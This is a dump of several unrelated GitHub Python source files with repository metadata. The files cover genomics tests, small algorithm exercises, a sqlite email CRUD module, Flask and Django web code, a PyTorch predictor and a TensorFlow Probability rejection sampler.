self._getAnnot(\"ENST00000191063.8\")\n evidRawPsl = [\"857\", \"11\", \"0\", \"8\", \"3\", \"17\", \"8\", \"10236\", \"--\", \"AL558145.3\", \"1038\", \"51\", \"944\", \"chr10\", \"133797422\", \"5878172\", \"5889284\", \"11\", \"5,12,31,114,80,221,43,109,162,87,12,\", \"94,101,113,145,259,339,560,603,712,874,975,\", \"127908138,127908143,127908156,127908187,127908302,127909355,127911657,127913345,127914255,127919135,127919238,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.large_indel_size)\n\n def testPolymophic(self):\n # test polymorphic with fake psl\n annotTrans = self._getAnnot(\"ENST00000400588.5\")\n evidRawPsl = [\"2627\", \"0\", \"0\", \"0\", \"1\", \"3\", \"10\", \"43660\", \"-\", \"ENST00000400588.5_poly\", \"2630\", \"0\", \"2630\", \"chr22\", \"50818468\", \"16961935\", \"17008222\", \"12\", \"941,105,97,91,146,119,86,251,208,304,161,118,\", \"0,941,1046,1143,1234,1383,1502,1588,1839,2047,2351,2512,\", \"16961935,16963724,16964765,16965177,16966099,16966245,16968297,16969942,16987959,16991872,17007940,17008104,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.polymorphic)\n\n def testExtendFuzzy(self):\n \"\"\"extend EST support, but 5' end of genes is two bases longer\"\"\"\n annotTrans = self._getAnnot(\"ENST00000455238.1\")\n evidRawPsl = [\"303\", \"0\", \"0\", \"1\", \"0\", \"0\", \"2\", \"3254\", \"--\", \"AI865129.1\", \"305\", \"0\", \"304\", \"chr1\", \"248956422\", \"48078786\", \"48082344\", \"3\", \"14,52,238,\", \"1,15,67,\", \"200874078,200874228,200877398,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_mismatch)\n\n\ndef suite():\n ts = unittest.TestSuite()\n ts.addTest(unittest.makeSuite(EvidCompareTest))\n return ts\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"diekhans/gencode-icedb","sub_path":"tests/tsl/classify/classifyUnitTests.py","file_name":"classifyUnitTests.py","file_ext":"py","file_size_in_byte":13303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31538229119","text":"import sys # https://docs.python.org/ja/3/library/sys.html\n\n\ndef divisors_of(N) -> list:\n i, divisors = 1, []\n while i * i <= N:\n if N % i == 0:\n divisors.append(i)\n if N // i != i:\n divisors.append(N // i)\n i += 1\n return sorted(divisors)\n\n\ndef resolve():\n A, B = [int(e) for e in sys.stdin.readline().split()]\n print(len(divisors_of(abs(A - B))))\n\n\nresolve()\n# exit()\n","repo_name":"koba925/alds","sub_path":"algo/number_theory/03_divisors/06.py","file_name":"06.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33036085494","text":"import sqlite3\n\nconexao = sqlite3.connect('crud_email.db')\n\ndef gerir_id():\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n cursor.execute(\"SELECT seq FROM sqlite_sequence WHERE name='email'\")\n next_id = cursor.fetchone()[0]\n return next_id + 1\n\ndef criar_email():\n try:\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n cursor.execute(\"INSERT INTO crud_email (email_jogadores) VALUES (?)\")\n email_id = cursor.lastrowid\n conexao.commit()\n conexao.close()\n return email_id\n except Exception as Ex:\n print(Ex)\n return 0\n \ndef atualizar_email():\n try:\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n cursor.execute(\"UPDATE crud_email SET email_jogadores = ? WHERE id_email = ?\")\n conexao.commit()\n conexao.close()\n return True\n except Exception as Ex:\n print(Ex)\n return False \n \ndef remover_email(id:int):\n try:\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n sql_delete = \"DELETE FROM crud_email WHERE id_email = ?\"\n cursor.execute(sql_delete, (id, ))\n conexao.commit()\n conexao.close()\n return True\n except Exception as Ex:\n print(Ex)\n return False \n \ndef retornar_email(id:int):\n try:\n if id == 0:\n return gerir_id(), \"\" \n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n\n sql_select = \"SELECT * FROM crud_email WHERE id_email = ?\"\n cursor.execute(sql_select, (id, ))\n id, email_personagem = cursor.fetchone()\n conexao.close()\n return id, email_jogadores\n except:\n return False\n\ndef retornar_todos():\n try:\n conexao = sqlite3.connect('crud_email.db')\n cursor = conexao.cursor()\n sql_select = \"SELECT * FROM crud_email\"\n cursor.execute(sql_select)\n email_jogadores = cursor.fetchall()\n conexao.close()\n return email_jogadores\n except:\n return False \n \n\n#cursor = conexao.cursor()\n\n#sql_insert = \"INSERT INTO crud_email (email_jogadores) VALUES (?)\"\n\n#sql_select_varios = \"SELECT * FROM crud_email\"\n\n#sql_update = \"UPDATE crud_email SET email_jogadores = ? WHERE id_email = ?\"\n\n#sql_delete = \"DELETE FROM crud_email WHERE id_email = ?\"\n\n","repo_name":"Bruno7romano/Koru-crud","sub_path":"email_db.py","file_name":"email_db.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25670435098","text":"import datetime\nfrom project import db\nfrom project.models.user_model import User\n\n\nclass Sku(db.Model):\n \"\"\"\n Sku Model:\n - id: int\n - user_id: int\n\n - name: str\n - description: str\n - category: str\n\n - price: float\n - sales_tax: float\n\n - quantity: int\n - number_sold: int\n - number_delivered: int\n\n - size_chart (url): str\n\n - Sku_Images (Model)\n - Sku_Stock (Model)\n - Campaign (Model)\n - Prize (Model)\n - Draw (Model)\n \"\"\"\n\n __tablename__ = \"sku\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"), nullable=False)\n\n name = db.Column(db.String(128), nullable=False)\n description = db.Column(db.Text, nullable=True)\n category = db.Column(db.String(128), nullable=False)\n\n price = db.Column(db.Float, nullable=False)\n sales_tax = db.Column(db.Float, nullable=False, default=0.0)\n quantity = db.Column(db.Integer, nullable=False)\n number_sold = db.Column(db.Integer, nullable=False)\n number_delivered = db.Column(db.Integer, nullable=False)\n\n size_chart = db.Column(db.String(256), nullable=False)\n\n sku_images = db.relationship(\n \"Sku_Images\", cascade=\"all, delete-orphan\", backref=db.backref(\"sku\"))\n sku_stock = db.relationship(\n \"Sku_Stock\", cascade=\"all, delete-orphan\", backref=db.backref(\"sku\"))\n\n def __repr__(self):\n return f\"SKU {self.id} {self.name}\"\n\n def __init__(self, name: str, description: str, category: str,\n price: float, quantity: int, size_chart: str,\n number_sold: int, number_delivered: int, user_id: int):\n\n self.name = name\n self.description = description\n self.category = category\n self.price = price\n self.quantity = quantity\n self.size_chart = size_chart\n self.number_sold = number_sold\n self.number_delivered = number_delivered\n\n self.user_id = user_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"user_id\": self.user_id,\n \"name\": self.name,\n \"description\": self.description,\n \"category\": self.category,\n \"price\": self.price,\n \"sales_tax\": self.sales_tax,\n \"quantity\": self.quantity,\n \"number_sold\": self.number_sold,\n \"number_delivered\": self.number_delivered,\n \"size_chart\": self.size_chart,\n \"sku_images\": [image.to_json() for image in Sku_Images.query.filter_by(sku_id=self.id).all()],\n \"sku_stock\": [stock.to_json() for stock in Sku_Stock.query.filter_by(sku_id=self.id).all()],\n }\n\n\nclass Sku_Images(db.Model):\n \"\"\"\n Sku_Images Model:\n - id: int\n - image (url): str\n - sku_id: int\n\n \"\"\"\n __tablename__ = \"sku_images\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n sku_id = db.Column(db.Integer, db.ForeignKey(\"sku.id\"), nullable=False)\n image = db.Column(db.String(256), nullable=False)\n\n def __repr__(self):\n return f\"Sku_Images {self.id} {self.image}\"\n\n def __init__(self, image: str, sku_id: int):\n self.image = image\n self.sku_id = sku_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"image\": self.image,\n \"sku_id\": self.sku_id\n }\n\n\nclass Sku_Stock(db.Model):\n \"\"\"\n Sku_Stock Model\n - id: int\n - size: str\n - stock: int\n - color: str\n - sku_id: int\n \"\"\"\n __tablename__ = \"sku_stock\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n sku_id = db.Column(db.Integer, db.ForeignKey(\"sku.id\"), nullable=False)\n size = db.Column(db.String(128), nullable=False)\n stock = db.Column(db.Integer, nullable=False)\n color = db.Column(db.String(128), nullable=False)\n\n def __repr__(self):\n return f\"Sku_Stock {self.id} {self.size} {self.stock} {self.color}\"\n\n def __init__(self, size: str, stock: int, color: str, sku_id: int):\n self.size = size\n self.stock = stock\n self.color = color\n self.sku_id = sku_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"size\": self.size,\n \"stock\": self.stock,\n \"color\": self.color,\n \"sku_id\": self.sku_id\n }\n\n\nclass Prize(db.Model):\n \"\"\"\n Prize Model:\n - id: int\n - user_id: int\n\n - name: str\n - description: str\n - image (url): str\n\n \"\"\"\n __tablename__ = \"prize\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"), nullable=False)\n\n name = db.Column(db.String(128), nullable=False)\n description = db.Column(db.Text, nullable=True)\n image = db.Column(db.String(128), nullable=False)\n\n def __repr__(self):\n return f\"Prize {self.id} {self.name}\"\n\n def __init__(self, name: str, description: str, image: str, user_id: int):\n self.name = name\n self.description = description\n self.image = image\n self.user_id = user_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"user_id\": self.user_id,\n \"name\": self.name,\n \"description\": self.description,\n \"image\": self.image\n }\n\n\nclass Campaign(db.Model):\n \"\"\"\n Campaign Model:\n - id: int\n - user_id: int\n\n - name: str\n - description: str\n - image (url): str\n - threshold: int\n\n - start_date: datetime\n - end_date: datetime\n\n - is_active: bool\n\n - sku_id: int\n - prize_id: int\n\n \"\"\"\n\n __tablename__ = \"campaign\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"), nullable=False)\n sku_id = db.Column(db.Integer, db.ForeignKey(\"sku.id\"), nullable=False)\n prize_id = db.Column(db.Integer, db.ForeignKey(\"prize.id\"), nullable=False)\n\n name = db.Column(db.String(128), nullable=False)\n description = db.Column(db.Text, nullable=True)\n image = db.Column(db.String(128), nullable=False)\n threshold = db.Column(db.Integer, nullable=False)\n\n is_active = db.Column(db.Boolean, nullable=False, default=False)\n\n start_date = db.Column(db.DateTime, nullable=True)\n end_date = db.Column(db.DateTime, nullable=True)\n\n sku = db.relationship(\n \"Sku\", cascade=\"all, delete-orphan\", single_parent=True, backref=db.backref(\"campaign\"))\n prize = db.relationship(\n \"Prize\", cascade=\"all, delete-orphan\", single_parent=True, backref=db.backref(\"campaign\"))\n\n def __repr__(self):\n return f\"Campaign {self.id} {self.name}\"\n\n def __init__(self, user_id: int, sku_id: int, prize_id: int, threshold: int,\n name: str, description: str, image: str,\n start_date: str, end_date: str):\n\n self.name = name\n self.description = description\n self.image = image\n self.threshold = threshold\n\n self.start_date = start_date\n self.end_date = end_date\n\n self.user_id = user_id\n self.sku_id = sku_id\n self.prize_id = prize_id\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n return {\n \"id\": self.id,\n \"user\": User.query.get(self.user_id).to_json(),\n \"sku\": Sku.query.get(self.sku_id).to_json(),\n \"prize\": Prize.query.get(self.prize_id).to_json(),\n \"name\": self.name,\n \"description\": self.description,\n \"image\": self.image,\n \"threshold\": self.threshold,\n \"is_active\": self.is_active,\n \"start_date\": self.start_date.strftime(\"%Y-%m-%d\") if self.start_date else None,\n \"end_date\": self.end_date.strftime(\"%Y-%m-%d\") if self.end_date else None\n }\n\n\nclass Coupon(db.Model):\n \"\"\"\n Coupon Model:\n - id: int\n - user_id: int\n - campaign_id: int\n - sku_images_id: int\n - sku_stock_id: int\n\n - code: str\n - create_date: datetime\n - amount_paid: float\n - is_redeemed: bool\n\n \"\"\"\n __tablename__ = \"coupon\"\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n user_id = db.Column(db.Integer, db.ForeignKey(\"user.id\"), nullable=False)\n campaign_id = db.Column(db.Integer, db.ForeignKey(\n \"campaign.id\"), nullable=False)\n sku_images_id = db.Column(db.Integer, db.ForeignKey(\n \"sku_images.id\"), nullable=False)\n sku_stock_id = db.Column(db.Integer, db.ForeignKey(\n \"sku_stock.id\"), nullable=False)\n\n code = db.Column(db.String(128), unique=True, nullable=False)\n create_date = db.Column(db.DateTime, nullable=False)\n amount_paid = db.Column(db.Float, nullable=False)\n is_redeemed = db.Column(db.Boolean, nullable=False, default=False)\n\n def __repr__(self):\n return f\"Coupon {self.id} {self.code}\"\n\n def __init__(self, user_id: int, campaign_id: int, sku_images_id: int,\n sku_stock_id: int, create_date: str, amount_paid: float):\n\n self.user_id = user_id\n self.campaign_id = campaign_id\n self.sku_images_id = sku_images_id\n self.sku_stock_id = sku_stock_id\n self.create_date = create_date\n self.amount_paid = amount_paid\n self.code = Coupon.generate_code(\n user_id, campaign_id, sku_stock_id, sku_images_id, create_date)\n\n def insert(self):\n db.session.add(self)\n db.session.commit()\n\n def update(self):\n db.session.commit()\n\n def delete(self):\n db.session.delete(self)\n db.session.commit()\n\n def to_json(self):\n campaign = Campaign.query.get(self.campaign_id).to_json()\n campaign['sku'].pop('sku_images')\n campaign['sku'].pop('sku_stock')\n campaign.pop('user')\n\n return {\n \"id\": self.id,\n \"sku_name\": campaign['sku']['name'],\n \"amount_paid\": self.amount_paid,\n \"sku_image\": Sku_Images.query.get(self.sku_images_id).to_json(),\n \"sku_stock\": Sku_Stock.query.get(self.sku_stock_id).to_json(),\n \"coupon_code\": self.code,\n \"is_redeemed\": self.is_redeemed,\n \"purchased on\": self.create_date.strftime(\"%d %b, %Y %I:%M%p\")\n }\n\n @staticmethod\n def generate_code(user_id: int, campaign_id: int, sku_stock_id: int, sku_images_id: int, create_date: str):\n upper_case_letters = [chr(i) for i in range(65, 91)]\n\n letters = upper_case_letters[campaign_id % 26] + \\\n upper_case_letters[sku_stock_id % 26] + \\\n upper_case_letters[sku_images_id % 26]\n\n digits = str(user_id) + str(campaign_id % 10) + \\\n str(sku_images_id % 10) + str(sku_stock_id % 10)\n\n return f\"{letters}-{digits}-{create_date.strftime('%m%d')}-{create_date.strftime('%M%S')}\"\n","repo_name":"zolovio/Classy-backend","sub_path":"project/models/sku_model.py","file_name":"sku_model.py","file_ext":"py","file_size_in_byte":12056,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"16409577572","text":"from JobScraping.TwitterScraper import TwitterScraper\nfrom django.core.management.base import BaseCommand\n\n\nclass Command(BaseCommand):\n help = \"Scrapes Twitter for jobs\"\n\n def handle(self, *args, **options):\n url = \"https://careers.twitter.com/content/careers-twitter/en/jobs-search.html?q=software&start=\"\n urls = []\n for x in range(5):\n urls.append(url + str(x*10))\n\n twitterScraper = TwitterScraper()\n\n for u in urls:\n print(\"Scraping: \" + u)\n twitterScraper.openUrl(u)\n twitterScraper.scrape()\n","repo_name":"JonPReilly/JobBard","sub_path":"JobBard/job_board/management/commands/scrapeTwitter.py","file_name":"scrapeTwitter.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41790776573","text":"\"\"\"\n13. Roman to Integer\n\"\"\"\n\nclass Solution:\n def romanToInt(self, s: 'str') -> 'int':\n d = {'I': 1, 'V': 5, 'X': 10, 'L': 50, 'C': 100, 'D': 500, 'M': 1000}\n r = d[s[0]]\n for i in range(1, len(s)):\n if d[s[i-1]] < d[s[i]]:\n r -= 2*d[s[i-1]]\n r += d[s[i]]\n\n return r\n\nif __name__ == '__main__':\n s = Solution()\n print(s.romanToInt('MCMXCIV'))","repo_name":"susurrant/LeetCode","sub_path":"13.py","file_name":"13.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28342369060","text":"from django.shortcuts import render, redirect\nfrom accounts.models import User\nfrom mainpage.views import get_friend_list\nfrom accounts.models import Friends\n\n\ndef search_view(request):\n if not request.user.is_authenticated:\n return redirect(\"login\")\n\n context = {}\n\n # \n search_query = request.GET.get(\"q\")\n\n if search_query is not None:\n # Using filter will return multiple rows\n # icontains doesn't care about lower case and upper case\n if len(search_query) > 0:\n search_results = User.objects.filter(username__icontains=search_query)\n accounts = []\n for account in search_results:\n if Friends.objects.filter(user=request.user, friend=account).exists():\n accounts.append((account, True))\n else:\n accounts.append((account, False))\n if len(accounts) == 0:\n error = \"Can not find such users\"\n context = {\"title\": \"Search\", \"accounts\": accounts, \"error\": error}\n else:\n context = {\"title\": \"Search\", \"accounts\": accounts}\n else:\n error = \"Please pass something to search\"\n context = {\"title\": \"Search\", \"error\": error}\n\n return render(request, \"search/search.html\", context)\n","repo_name":"Masoudvahid/SocialNetworkingSite","sub_path":"search/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"27317064793","text":"import pickle\nimport os\nimport pandas as pd\n\nimport torch\nimport torch.nn as nn\nimport torchvision.transforms as transforms\nimport torchvision.models as models\n\nfrom dataset import ClassImageLoader, FlickrDataLoader, CelebALoader\nfrom ops import *\n\n\nclass Predictor(object):\n def __init__(self, args, _type):\n self.args = args\n self.args.distributed = False\n self.type = _type\n if self.type == 'cls':\n self.save_dir = os.path.join(args.cls_save_dir, args.dataset, args.name)\n if self.type == 'est':\n self.save_dir = os.path.join(args.est_save_dir, args.dataset, args.name)\n os.makedirs(self.save_dir, exist_ok=True)\n\n # buid transform\n if args.dataset == 'i2w':\n self.train_transform = transforms.Compose([\n transforms.RandomRotation(10),\n transforms.RandomResizedCrop(args.input_size),\n transforms.RandomHorizontalFlip(),\n transforms.ColorJitter(\n brightness=0.5,\n contrast=0.3,\n saturation=0.3,\n hue=0\n ),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n ])\n self.test_transform = transforms.Compose([\n transforms.Resize((args.input_size,) * 2),\n transforms.ToTensor(),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n ])\n elif args.dataset == 'flickr':\n self.train_transform = nn.Sequential(\n transforms.RandomRotation(10),\n transforms.RandomResizedCrop(args.input_size),\n transforms.RandomHorizontalFlip(),\n transforms.ColorJitter(\n brightness=0.5,\n contrast=0.3,\n saturation=0.3,\n hue=0\n ),\n transforms.ConvertImageDtype(torch.float32),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n )\n self.test_transform = nn.Sequential(\n transforms.Resize((args.input_size,) * 2),\n transforms.ConvertImageDtype(torch.float32),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n )\n elif args.dataset == 'celebA':\n self.train_transform = nn.Sequential(\n transforms.CenterCrop((178, 178)),\n transforms.Resize((args.input_size,) * 2),\n transforms.RandomRotation(10),\n transforms.RandomHorizontalFlip(),\n transforms.ColorJitter(\n brightness=0.5,\n contrast=0.3,\n saturation=0.3,\n hue=0\n ),\n transforms.ConvertImageDtype(torch.float32),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n )\n self.test_transform = nn.Sequential(\n transforms.CenterCrop((178, 178)),\n transforms.Resize((args.input_size,) * 2),\n transforms.ConvertImageDtype(torch.float32),\n transforms.Normalize(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n )\n\n transform = {'train': self.train_transform, 'test': self.test_transform}\n ##########\n\n # build dataloader\n if args.dataset == 'flickr':\n df = pd.read_pickle(args.pkl_path)\n print('{} data were loaded'.format(len(df)))\n cols = ['tempC', 'uvIndex', 'visibility', 'windspeedKmph', 'cloudcover', 'humidity', 'pressure', 'DewPointC']\n # standandelize\n df_ = df.loc[:, cols].fillna(0)\n self.df_mean = df_.mean()\n self.df_std = df_.std()\n df.loc[:, cols] = (df.loc[:, cols] - self.df_mean) / self.df_std\n if args.data_mode == 'T':\n df_sep = {\n # 'train': df[df['mode'] == 'train'],\n 'train': df[(df['mode'] == 'train') | (df['mode'] == 't_train')],\n 'test': df[df['mode'] == 'test']\n }\n elif args.mode == 'E': # for evaluation\n df_sep = {\n 'train': df[df['mode'] == 'val'],\n 'test': df[df['mode'] == 'test']\n }\n else:\n raise NotImplementedError\n del df, df_\n print('{} train data were loaded'.format(len(df_sep['train'])))\n if self.type == 'cls':\n loader = lambda s: FlickrDataLoader(self.args.image_root, df_sep[s], cols, bs=self.args.batch_size, transform=transform[s], class_id=True)\n elif self.type == 'est':\n loader = lambda s: FlickrDataLoader(self.args.image_root, df_sep[s], cols, bs=self.args.batch_size, transform=transform[s])\n\n elif args.dataset == 'i2w':\n with open(args.i2w_pkl_path, 'rb') as f:\n sep_data = pickle.load(f)\n if args.data_mode == 'E':\n sep_data['train'] = sep_data['val']\n print('{} train data were loaded'.format(len(sep_data['train'])))\n loader = lambda s: ClassImageLoader(paths=sep_data[s], transform=transform[s])\n\n elif args.dataset == 'celebA':\n df = pd.read_pickle(args.celebA_pkl_path)\n if args.data_mode == 'T':\n num_train_data = len(df[df['mode'] == 'train'])\n df_sep = {\n 'train': df[df['mode'] == 'train'].iloc[:int(num_train_data * args.train_data_ratio)],\n 'test': df[df['mode'] == 'test']\n }\n elif args.data_mode == 'E': # for evaluation\n df_sep = {\n 'train': df[df['mode'] == 'val'],\n 'test': df[df['mode'] == 'test']\n }\n print('{} train data were loaded'.format(len(df_sep['train'])))\n loader = lambda s: CelebALoader(root_path=args.celebA_root, df=df_sep[s], transform=transform[s])\n self.train_set = loader('train')\n self.test_set = loader('test')\n self.train_loader = make_dataloader(self.train_set, self.args)\n self.test_loader = make_dataloader(self.test_set, self.args)\n ##############\n\n # build network\n self.num_classes = self.train_set.num_classes\n if args.predictor == 'resnet':\n model = models.resnet101(pretrained=args.pre_trained)\n num_features = model.fc.in_features\n model.fc = nn.Linear(num_features, self.num_classes, bias=True)\n elif args.predictor == 'mobilenet':\n model = models.mobilenet_v2(pretrained=args.pre_trained)\n num_features = model.classifier[1].in_features\n model.classifier[1] = nn.Linear(num_features, self.num_classes, bias=True)\n elif args.predictor == 'resnext':\n model = models.resnext50_32x4d(pretrained=args.pre_trained)\n num_features = model.fc.in_features\n model.fc = nn.Linear(num_features, self.num_classes, bias=True)\n elif args.predictor == 'wideresnet':\n model = models.wide_resnet50_2(pretrained=args.pre_trained)\n num_features = model.fc.in_features\n model.fc = nn.Linear(num_features, self.num_classes, bias=True)\n self.model = model\n ######################\n\n # build criterion\n if args.dataset == 'flickr' and self.type == 'est':\n self.criterion = nn.MSELoss()\n elif args.dataset == 'flickr' and self.type == 'cls':\n self.criterion = nn.CrossEntropyLoss()\n self.eval_metric = 'precision'\n elif args.dataset == 'i2w':\n self.criterion = nn.CrossEntropyLoss()\n self.eval_metric = 'precision'\n elif args.dataset == 'celebA':\n self.criterion = nn.BCEWithLogitsLoss()\n self.eval_metric = 'acc'\n ######################\n\n def get_accuracy(self, outputs, labels):\n result = outputs > 0.5\n correct = (result == labels).sum().item()\n acc = correct / (self.num_classes * self.args.batch_size)\n return acc.item()\n\n def get_precision(self, outputs, labels):\n out = torch.argmax(outputs, dim=1)\n return torch.eq(out, labels).float().mean().item()\n","repo_name":"Sota0726/Weather_UNet_v2","sub_path":"predictor.py","file_name":"predictor.py","file_ext":"py","file_size_in_byte":8453,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"593983407","text":"from __future__ import absolute_import\nfrom __future__ import division\n# [internal] enable type annotations\nfrom __future__ import print_function\n\nimport tensorflow.compat.v2 as tf\n\nfrom tensorflow_probability.python.internal import prefer_static\nfrom tensorflow_probability.python.internal import samplers\n\n__all__ = [\n 'batched_las_vegas_algorithm',\n 'batched_rejection_sampler',\n]\n\n\ndef batched_las_vegas_algorithm(\n batched_las_vegas_trial_fn, seed=None, name=None):\n \"\"\"Batched Las Vegas Algorithm.\n\n This utility encapsulates the notion of a 'batched las_vegas_algorithm'\n (BLVA): a batch of independent (but not necessarily identical) randomized\n computations, each of which will eventually terminate after an unknown number\n of trials [(Babai, 1979)][1]. The number of trials will in general vary\n across batch points.\n\n The computation is parameterized by a callable representing a single trial for\n the entire batch. The utility runs the callable repeatedly, keeping track of\n which batch points have succeeded, until all have succeeded.\n\n Because we keep running the callable repeatedly until we've generated at least\n one good value for every batch point, we may generate multiple good values for\n many batch point. In this case, the particular good batch point returned is\n deliberately left unspecified.\n\n Args:\n batched_las_vegas_trial_fn: A callable that takes a Python integer PRNG seed\n and returns two values. (1) A structure of Tensors containing the results\n of the computation, all with a shape broadcastable with (2) a boolean mask\n representing whether each batch point succeeded.\n seed: Python integer or `Tensor`, for seeding PRNG.\n name: A name to prepend to created ops.\n Default value: `'batched_las_vegas_algorithm'`.\n\n Returns:\n results, num_iters: A structure of Tensors representing the results of a\n successful computation for each batch point, and a scalar int32 tensor, the\n number of calls to `randomized_computation`.\n\n #### References\n\n [1]: Laszlo Babai. Monte-Carlo algorithms in graph isomorphism\n testing. Universite de Montreal, D.M.S. No. 79-10.\n \"\"\"\n with tf.name_scope(name or 'batched_las_vegas_algorithm'):\n init_seed, loop_seed = samplers.split_seed(\n seed, salt='batched_las_vegas_algorithm')\n values, good_values_mask = batched_las_vegas_trial_fn(init_seed)\n num_iters = tf.constant(1)\n\n def cond(unused_values, good_values_mask, unused_num_iters, unused_seed):\n return tf.math.logical_not(tf.reduce_all(good_values_mask))\n\n def body(values, good_values_mask, num_iters, seed):\n \"\"\"Batched Las Vegas Algorithm body.\"\"\"\n\n trial_seed, new_seed = samplers.split_seed(seed)\n new_values, new_good_values_mask = batched_las_vegas_trial_fn(trial_seed)\n\n values = tf.nest.map_structure(\n lambda new, old: tf.where(new_good_values_mask, new, old),\n new_values, values)\n\n good_values_mask = tf.logical_or(good_values_mask, new_good_values_mask)\n\n return values, good_values_mask, num_iters + 1, new_seed\n\n (values, _, num_iters, _) = tf.while_loop(\n cond, body, (values, good_values_mask, num_iters, loop_seed))\n return values, num_iters\n\n\ndef batched_rejection_sampler(\n proposal_fn, target_fn, seed=None, dtype=tf.float32, name=None):\n \"\"\"Generic batched rejection sampler.\n\n In each iteration, the sampler generates a batch of proposed samples and\n proposal heights by calling `proposal_fn`. For each such sample point S, a\n uniform random variate U is generated and the sample is accepted if U *\n height(S) <= target(S). The batched rejection sampler keeps track of which\n batch points have been accepted, and continues generating new batches until\n all batch points have been acceped.\n\n The values returned by `proposal_fn` should satisfy the desiderata of\n rejection sampling: proposed samples should be drawn independently from a\n valid distribution on some domain D that includes the domain of `target_fn`,\n and the proposal must upper bound the target: for all points S in D, height(S)\n >= target(S).\n\n Args:\n proposal_fn: A callable that takes a Python integer PRNG seed and returns a\n set of proposed samples and the value of the proposal at the samples.\n target_fn: A callable that takes a tensor of samples and returns the value\n of the target at the samples.\n seed: Python integer or `Tensor`, for seeding PRNG.\n dtype: The TensorFlow dtype used internally by `proposal_fn` and\n `target_fn`. Default value: `tf.float32`.\n name: A name to prepend to created ops.\n Default value: `'batched_rejection_sampler'`.\n\n Returns:\n results, num_iters: A tensor of samples from the target and a scalar int32\n tensor, the number of calls to `proposal_fn`.\n \"\"\"\n with tf.name_scope(name or 'batched_rejection_sampler'):\n def randomized_computation(seed):\n \"\"\"Internal randomized computation.\"\"\"\n proposal_seed, mask_seed = samplers.split_seed(\n seed, salt='batched_rejection_sampler')\n proposed_samples, proposed_values = proposal_fn(proposal_seed)\n # The comparison needs to be strictly less to avoid spurious acceptances\n # when the uniform samples exactly 0 (or when the product underflows to\n # 0).\n good_samples_mask = tf.less(\n proposed_values * samplers.uniform(\n prefer_static.shape(proposed_samples),\n seed=mask_seed,\n dtype=dtype),\n target_fn(proposed_samples))\n return proposed_samples, good_samples_mask\n\n return batched_las_vegas_algorithm(randomized_computation, seed)\n","repo_name":"ackermanl77/pde","sub_path":"probability-master/tensorflow_probability/python/internal/batched_rejection_sampler.py","file_name":"batched_rejection_sampler.py","file_ext":"py","file_size_in_byte":5658,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"34667142874","text":"# Calculadora de hipotenusa en un triangulo rectangulo.\n# hipotenusa es = a la suma de los cuarados de los catetos, los catetos son los que hacen el angulo recto.\n\nimport math\n\nprint(\"\\nBienvenido a la 